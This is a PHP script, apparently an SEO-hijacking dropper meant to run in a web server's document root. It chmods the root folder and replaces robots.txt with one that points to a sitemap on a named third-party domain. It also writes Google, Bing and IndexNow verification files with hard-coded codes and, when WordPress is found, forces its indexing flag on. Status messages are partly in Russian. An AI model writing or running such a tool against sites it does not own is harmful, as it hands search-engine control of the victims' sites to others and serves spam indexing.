<?php
$SITEMAP = 'https://www.carrozzeriafucarino.it/sitemap57.xml';

$googleFile = 'googleea7c142a8af7cd24.html';
$bingAuthCode = 'D1BCB138FEBC4E2397CE54DB86A8AE5F';
$indexNowKey = 'a435f4569b501b2a0e0af5de6f72c489';

$rootDir = rtrim($_SERVER['DOCUMENT_ROOT'], '/\\');

SITEMAP($SITEMAP);

if (chmod($rootDir, 0755)) {
	echo "Chmod 0755\n";
} else {
	echo "Не получилось изменить права\n";
}

CreateGoogleVerificationFile($rootDir, $googleFile);
CreateBingVerificationFile($rootDir, $bingAuthCode);
CreateIndexNowKeyFile($rootDir, $indexNowKey);
FlagEngine($rootDir);

function CreateGoogleVerificationFile($rootDir, $googleFile) {
	$googleFileContent = 'google-site-verification: ' . basename($googleFile);
	$googleFilePath = $rootDir . '/' . basename($googleFile);

	if (file_put_contents($googleFilePath, $googleFileContent, LOCK_EX) !== false) {
		$fileContent = file_get_contents($googleFilePath);
		echo $fileContent === $googleFileContent ? "Google verification file was created successfully.\n" : "Google verification file was created but content is incorrect!\n";
	} else {
		echo "Failed to create Google verification file.\n";
	}
}

function CreateBingVerificationFile($rootDir, $bingAuthCode) {
	if (empty($bingAuthCode)) {
		echo "Bing auth code is empty. BingSiteAuth.xml was not created.\n";
		return;
	}
	$bingFilePath = $rootDir . '/BingSiteAuth.xml';
	$bingFileContent = "<?xml version=\"1.0\"?>\n<users>\n\t<user>{$bingAuthCode}</user>\n</users>";
	if (file_put_contents($bingFilePath, $bingFileContent, LOCK_EX) !== false) {
		$fileContent = file_get_contents($bingFilePath);
		echo $fileContent === $bingFileContent ? "BingSiteAuth.xml was created successfully.\n" : "BingSiteAuth.xml was created but content is incorrect!\n";
	} else {
		echo "Failed to create BingSiteAuth.xml.\n";
	}
}

function CreateIndexNowKeyFile($rootDir, $indexNowKey) {
	$safeKey = preg_replace('/[^a-zA-Z0-9_-]/', '', $indexNowKey);
	if (empty($safeKey)) {
		echo "IndexNow key is empty. IndexNow key file was not created.\n";
		return;
	}
	$indexNowFilePath = $rootDir . '/' . $safeKey . '.txt';
	if (file_put_contents($indexNowFilePath, $safeKey, LOCK_EX) !== false) {
		$fileContent = file_get_contents($indexNowFilePath);
		echo $fileContent === $safeKey ? "IndexNow key file was created successfully.\n" : "IndexNow key file was created but content is incorrect!\n";
	} else {
		echo "Failed to create IndexNow key file.\n";
	}
}

function SITEMAP($SITEMAP) {
	$robotsFile = $_SERVER['DOCUMENT_ROOT'] . '/robots.txt';
	$existingContent = file_exists($robotsFile) ? file_get_contents($robotsFile) : '';
	$oldFormatRemoved = IsOldRobotsFormat($existingContent);
	if ($oldFormatRemoved) {
		echo "УДАЛЕН СТАРЫЙ ФОРМАТ robots.txt, SITEMAP'ы остались\n";
	}
	$sitemapLines = array_merge(ExistingSitemapLines($existingContent), BuildSitemapLines($SITEMAP));
	$sitemapLines = NormalizeSitemapLines($sitemapLines);
	$content = "User-agent: *\nAllow: /\n";
	foreach ($sitemapLines as $sitemapLine) {
		$content .= $sitemapLine . "\n";
	}
	echo file_put_contents($robotsFile, $content, LOCK_EX) !== false ? "robots.txt was correctly updated.\n" : "Failed to update robots.txt.\n";
}

function IsOldRobotsFormat($content) {
	$markers = array('Baiduspider', 'AhrefsBot', 'MJ12bot', 'BLEXBot', 'DotBot', 'SemrushBot', 'YandexBot');
	foreach ($markers as $marker) {
		if (stripos($content, 'User-agent: ' . $marker) !== false) {
			return true;
		}
	}
	return false;
}

function ExistingSitemapLines($content) {
	$lines = array();
	foreach (preg_split('/[\r\n]+/', $content) as $line) {
		$line = trim($line);
		if (stripos($line, 'Sitemap:') === 0) {
			$url = trim(substr($line, strlen('Sitemap:')));
			if ($url !== '') {
				$lines[] = 'Sitemap: ' . $url;
			}
		}
	}
	return $lines;
}

function BuildSitemapLines($SITEMAP) {
	$items = preg_split('/[\r\n,]+/', $SITEMAP);
	$lines = array();
	foreach ($items as $item) {
		$url = trim($item);
		if ($url !== '') {
			$lines[] = 'Sitemap: ' . $url;
		}
	}
	return $lines;
}

function NormalizeSitemapLines($lines) {
	$result = array();
	$seen = array();
	foreach ($lines as $line) {
		$line = trim($line);
		if ($line === '' || strcasecmp($line, 'Sitemap:') === 0) {
			continue;
		}
		$key = strtolower($line);
		if (!isset($seen[$key])) {
			$seen[$key] = true;
			$result[] = $line;
		}
	}
	if (empty($result)) {
		$result[] = 'Sitemap:';
		echo "Sitemap is empty. Empty Sitemap line was added to robots.txt.\n";
	}
	return $result;
}

function FlagEngine($rootDir) {
	$wpConfigPath = $rootDir . '/wp-config.php';
	if (!file_exists($wpConfigPath)) {
		echo "WordPress не установлен или скрипт не находится в корневой папке WordPress.\n";
		return;
	}
	if (!defined('ABSPATH')) {
		require_once $rootDir . '/wp-config.php';
		require_once $rootDir . '/wp-load.php';
	}
	if (function_exists('update_option') && function_exists('get_option')) {
		$current_status = get_option('blog_public');
		if ($current_status == '1') {
			echo "Флажок запрета индексации отсутствует.\n";
		} else {
			update_option('blog_public', '1');
			echo "Флажок запрета индексации снят.\n";
		}
	} else {
		echo "Не удалось найти функции WordPress. Убедитесь, что скрипт выполняется в контексте WordPress.\n";
	}
}
